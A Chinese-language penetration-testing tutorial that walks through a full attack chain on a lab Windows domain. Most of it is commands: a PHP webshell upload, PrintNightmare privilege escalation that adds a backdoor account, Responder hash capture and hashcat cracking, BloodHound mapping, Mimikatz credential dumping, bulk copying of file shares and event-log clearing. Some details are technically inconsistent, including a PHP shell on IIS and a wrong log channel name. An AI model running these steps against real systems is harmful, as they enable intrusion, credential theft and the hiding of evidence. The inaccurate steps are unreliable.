0x01 一次数据泄露引发的反思

2023年,一家著名互联网公司的敏感数据在暗网低价出售,并迅速引起全球关注。攻击者声称,他们利用了一台未打补丁的服务器,通过简单的渗透手段拿下了整个内网的核心数据。这起事件再次凸显了攻防对抗中的一个事实:任何一个小漏洞,都可能成为整张网络的冰山裂隙。

如果我们站在红队的视角,这场攻击的成功离不开以下关键步骤:信息收集、漏洞利用、横向移动、权限提升和数据窃取。在这篇文章中,我将结合开源攻击框架 Kali Linux,深入讲解如何利用其工具链实现从外网到内网的渗透攻击。请注意,本文所有演示均为教学用途,严禁在未经授权的情况下使用。

---

0x02 构建你的攻击场景

在渗透测试中,良好的攻击环境是成功一半。为了模拟真实场景,我们需要搭建一个可控的目标网络,描述如下:

实验环境

  • 攻击机:Kali Linux 2023.3
  • 目标机:Windows Server 2019(含IIS服务)
  • 内网:AD域环境(带域控,域名corp.local
  • 工具链:Metasploit、Responder、BloodHound、Mimikatz

网络架构

攻击者位于外网,通过目标机器的公网IP进行初始渗透;随后,利用漏洞深入内网,最终控制域控并窃取敏感数据。

具体网络拓扑如下:

<pre><code>[ 攻击者 (Kali Linux) ] --&gt; [ DMZ 目标机 (IIS) ] --&gt; [ 内网域控 + Win10客户端 ]</code></pre>

安装工具

在你的 Kali Linux 上,确保以下工具可用: <pre><code class="language-bash"># 更新 Kali Linux,确保是最新版本 sudo apt update &amp;&amp; sudo apt full-upgrade -y

常用渗透工具安装(如果未预装)

sudo apt install -y metasploit-framework bloodhound responder</code></pre>

如果所有工具已准备就绪,就让我们从外网突破开始。

---

0x03 初始攻击入口:寻找外网破绽

攻击的第一步是摸清目标的外部暴露面。通常我们借助信息收集工具,扫描目标的端口和服务,寻找潜在漏洞。

使用 Nmap 识别目标

在 Kali 上,使用 Nmap 对目标主机进行端口扫描: <pre><code class="language-bash">nmap -sV -Pn -T4 --script vuln &lt;目标IP&gt;</code></pre> 关键参数解释:

  • -sV:检测服务版本
  • -Pn:跳过Ping,直接扫描
  • --script vuln:调用漏洞扫描脚本

假设目标IP为192.168.1.100,结果可能如下:

<pre><code>PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 445/tcp open smb Microsoft Windows Server 2019 3389/tcp open ms-wbt-server</code></pre>

从结果可以看出,目标打开了以下关键端口:

  • 80端口:运行IIS,可能存在Web漏洞
  • 445端口:SMB协议,常见信息泄露入口
  • 3389端口:RDP远程桌面,需要进一步验证防护措施

Web 漏洞探测

进一步对80端口的IIS服务进行目录扫描: <pre><code class="language-bash">gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt</code></pre> 输出可能显示以下隐藏目录: <pre><code>/admin /backup /upload</code></pre>

漏洞利用:IIS 文件上传漏洞

假设 /upload 路径存在未授权的文件上传功能,我们可以尝试上传一个恶意的 WebShell 进行命令执行。

生成 PHP WebShell: <pre><code class="language-bash">echo &quot;&lt;?php system(\$_GET[&#039;cmd&#039;]); ?&gt;&quot; &gt; shell.php</code></pre>

黑客示意图

使用 curl 上传文件: <pre><code class="language-bash">curl -F &quot;[email protected]&quot; http://192.168.1.100/upload</code></pre>

成功上传后,通过访问以下链接执行命令: <pre><code>http://192.168.1.100/upload/shell.php?cmd=whoami</code></pre> 输出结果: <pre><code>nt authority\iusr</code></pre>

现在,攻击者已经拿到了服务器的 WebShell

---

0x04 权限提升:从 WebShell 到 SYSTEM

在获得初步访问权限后,我们需要进一步提升权限,以便控制目标服务器。

漏洞利用:CVE-2021-1675 "PrintNightmare"

假设目标服务器未打补丁,我们可以利用知名漏洞 PrintNightmare 来提权。

检查漏洞环境

通过 WebShell 执行以下 PowerShell 命令,查看是否存在打印服务: <pre><code class="language-powershell">Get-Service | findstr Spooler</code></pre> 如果输出显示打印服务正在运行,则可能存在漏洞。

使用 Exploit 执行提权

在 Kali 上,下载并运行 PrintNightmare 的 Exploit: <pre><code class="language-bash">git clone https://github.com/cube0x0/CVE-2021-1675.git cd CVE-2021-1675/ python3 CVE-2021-1675.py -ip 192.168.1.100 -cmd &quot;net user hacker Password123 /add&quot;</code></pre>

恢复一个高权限用户后,通过 RDP 登录目标机: <pre><code class="language-bash">xfreerdp /u:hacker /p:Password123 /v:192.168.1.100</code></pre>

此时,攻击者已成功获得目标服务器的 SYSTEM 权限。

---

0x05 横向移动:夺取内网资源

获得外网服务器控制权后,我们继续深入内网,寻找敏感数据或域控。

使用 Responder 劫持凭据

在内网环境中,利用 Responder 工具监听并劫持 NTLM Hash: <pre><code class="language-bash">responder -I eth0</code></pre>

将 Hash 保存下来后,可使用 Hashcat 离线破解: <pre><code class="language-bash">hashcat -m 5600 --force &lt;captured_hash&gt; /usr/share/wordlists/rockyou.txt</code></pre>

黑客示意图

BloodHound 分析域结构

通过生成 BloodHound 数据,分析域控权限路径: <pre><code class="language-bash"># 在目标机上执行以下命令 Invoke-BloodHound -CollectionMethod All -ZipFileName data.zip</code></pre>

将生成的 data.zip 上传至 Kali,导入 BloodHound: <pre><code class="language-bash">neo4j console &amp; bloodhound</code></pre>

在 BloodHound 图谱中,可以直观看到从当前用户到域控的权限路径。

黑客示意图

---

0x06 数据窃取与清理痕迹

当我们控制域控后,可以轻松访问所有域内资源。以下是常见的窃取方法:

提取密码

利用 Mimikatz 提取明文密码: <pre><code class="language-bash">mimikatz # sekurlsa::logonpasswords</code></pre>

提取敏感文件

通过 PowerShell,批量下载共享文件夹中的内容: <pre><code class="language-powershell">Copy-Item \\corp.local\share\* C:\loot\ -Recurse</code></pre>

清理痕迹

删除日志文件: <pre><code class="language-powershell">wevtutil cl Microsoft-Windows-Security-Auditing</code></pre>

---

0x07 攻击后感想

黑客示意图

在这次渗透测试中,攻击路径清晰,工具链成熟。Kali Linux 提供了一整套完善的红队工具,使攻击者能够快速完成从外网到内网的入侵。然而,对于防御者来说,也应该意识到以下几点:

  1. 及时打补丁:例如 PrintNightmare,漏洞一直存在且容易被利用。
  2. 加强网络分段:避免外网直接暴露内网资源。
  3. 日志监控:攻击者的活动痕迹多在日志中体现。

攻击和防御是一场无止境的博弈。作为安全研究者,我们需要不断提升能力,为网络安全贡献力量。